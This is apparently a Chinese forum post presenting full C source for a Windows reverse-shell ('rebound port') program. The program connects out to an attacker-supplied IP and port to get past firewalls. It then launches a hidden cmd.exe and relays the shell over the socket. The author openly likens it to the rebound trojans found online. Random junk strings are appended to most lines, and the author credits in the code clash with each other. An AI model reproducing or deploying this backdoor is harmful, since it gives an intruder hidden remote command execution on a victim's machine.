Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 *siFj CN<  
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/* ============================== c-FcEW  
Rebound port in Windows NT Ef13Q]9|  
By wind,2006/7 &UlWCOo8  
===============================*/ YkQd  
#include eO[b1]WLP  
#include (0kK_k'T  
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#pragma comment(lib,"wsock32.lib") 2gVm9gAHUd  
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void OutputShell(); t#eTV@-
 
SOCKET sClient; Hl |z</*+  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 3%=~)7cF  
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void main(int argc,char **argv) tcog'nAz  
{ }?v )N).kW  
WSADATA stWsaData; )IZ~G\Ra'  
int nRet; 2Q:+
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SOCKADDR_IN stSaiClient,stSaiServer; k~FRD?[u  
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if(argc != 3) pIKPXqA  
{ F`]2O:[  
printf("Useage:\n\rRebound DestIP DestPort\n"); !brf(-sr)  
return; t}/( b/VD  
} x`)&J B  
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WSAStartup(MAKEWORD(2,2),&stWsaData); I?G:p+  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); P\)iZiGc  
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stSaiClient.sin_family = AF_INET; fw{gx  
stSaiClient.sin_port = htons(0); Q6I:"2u1  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); :tv,]05t  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR)  | (_  
{ 1|-Dj|  
printf("Bind Socket Failed!\n"); 8E]F$.6U  
return; RhLVg~x  
} ZO c)  
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stSaiServer.sin_family = AF_INET; UN<]N76!  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); cDH^\-z  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); l0A&9g*l2  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) hODWB&b  
{ /J6rv((  
printf("Connect Error!"); AbmAKA@  
return; EG |A_m85  
} wz ~d(a#  
OutputShell(); sYf~c0${  
} G{%L
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b(O3@Q6[  
void OutputShell() y:qUn!3  
{ w}cPs{Vi"  
char szBuff[1024]; V[vl!XM  
SECURITY_ATTRIBUTES stSecurityAttributes; K~uq,~  
OSVERSIONINFO stOsversionInfo; ,',o'2=!  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; = 6\^%  
STARTUPINFO stStartupInfo; {o`]I>gb  
char *szShell; i5,kd~%O  
PROCESS_INFORMATION stProcessInformation; y>e.~5;  
unsigned long lBytesRead; 9j:"J` '  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); \&gB)czEO  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); (n9gkO&8"  
stSecurityAttributes.lpSecurityDescriptor = 0;
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stSecurityAttributes.bInheritHandle = TRUE; 03S]8l  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); K?$^@
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CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); >>fH{/l  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); "d5n \@[t  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?o#%Xs  
stStartupInfo.wShowWindow = SW_HIDE; o"R7,N0rB  
stStartupInfo.hStdInput = hReadPipe; LW_f  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ?R.j^S^  
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GetVersionEx(&stOsversionInfo); qVwIo.g!  
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switch(stOsversionInfo.dwPlatformId) A#'8Xw|  
{ ^\&e:Nkh  
case 1: _&ks1cw  
szShell = "command.com"; PGV/ h  
break; CooQ>f  
default: ^iw'^6~  
szShell = "cmd.exe"; ,0HRAmG  
break; F,)%?<!I  
} j*TYoH1  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 7X'u6$i  
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send(sClient,szMsg,77,0); k%QpegN  
while(1) dP]\Jo=Yh  
{ D#JL!A%O  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); >{J(>B
\  
if(lBytesRead) s'J:f$flS  
{ g:Xhw$x9  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); AvV|(K"  
send(sClient,szBuff,lBytesRead,0); 6h,(wo3Y  
} RMWHN:9  
else e@* EzvO  
{ 74k dsgQf  
lBytesRead=recv(sClient,szBuff,1024,0); !fR3(=oN  
if(lBytesRead<=0) break; 3Xy-r=N.l  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); en*GM}<V  
} oij}'|/Jc  
}  ^J)mH[  
!"/n/jz  
return; @wo(tf=@P  
}